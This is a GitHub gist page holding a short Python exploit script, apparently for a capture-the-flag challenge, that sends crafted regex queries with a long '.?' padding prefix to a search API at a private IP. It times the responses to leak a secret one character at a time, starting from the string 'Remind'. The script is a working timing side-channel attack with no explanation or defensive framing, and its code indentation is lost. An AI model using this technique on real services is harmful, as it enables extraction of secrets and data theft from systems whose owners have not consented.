Skip to content

Instantly share code, notes, and snippets.

@UltramanGaia
Created July 16, 2020 16:08
Show Gist options
  • Save UltramanGaia/597d44aee03dd0bf724f223855e59903 to your computer and use it in GitHub Desktop.
Save UltramanGaia/597d44aee03dd0bf724f223855e59903 to your computer and use it in GitHub Desktop.
import time
import string
import requests
proxies = {"http":"http://127.0.0.1:28080"}
proxies={}
url = 'http://192.168.83.147:49670'
N=4000
u = url + '/api/search?channel="""&q="{}{}{}'+'@"&'
s = requests.session()
prefix='.?'*N
#test for Reminder
result = "^Remind"
for i in range(0,5):
rr = []
r = s.get(u.format("@","@", prefix))
for c in string.ascii_uppercase+string.digits+"_-}":
total=0
for j in range(10):
t1 = time.time()
r = s.get(u.format(result,c, prefix), proxies=proxies)
t2 = time.time()
total += t2-t1
rr.append([c, total])
# rr.append([c,t2-t1])
# print("[+] {} - {}".format(c,t2-t1))
rr = sorted(rr, key = lambda x: x[1])
for d in rr[::-1][:3]:
print('[*] {} : {}'.format(d[0], d[1]))
print("---------------------")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment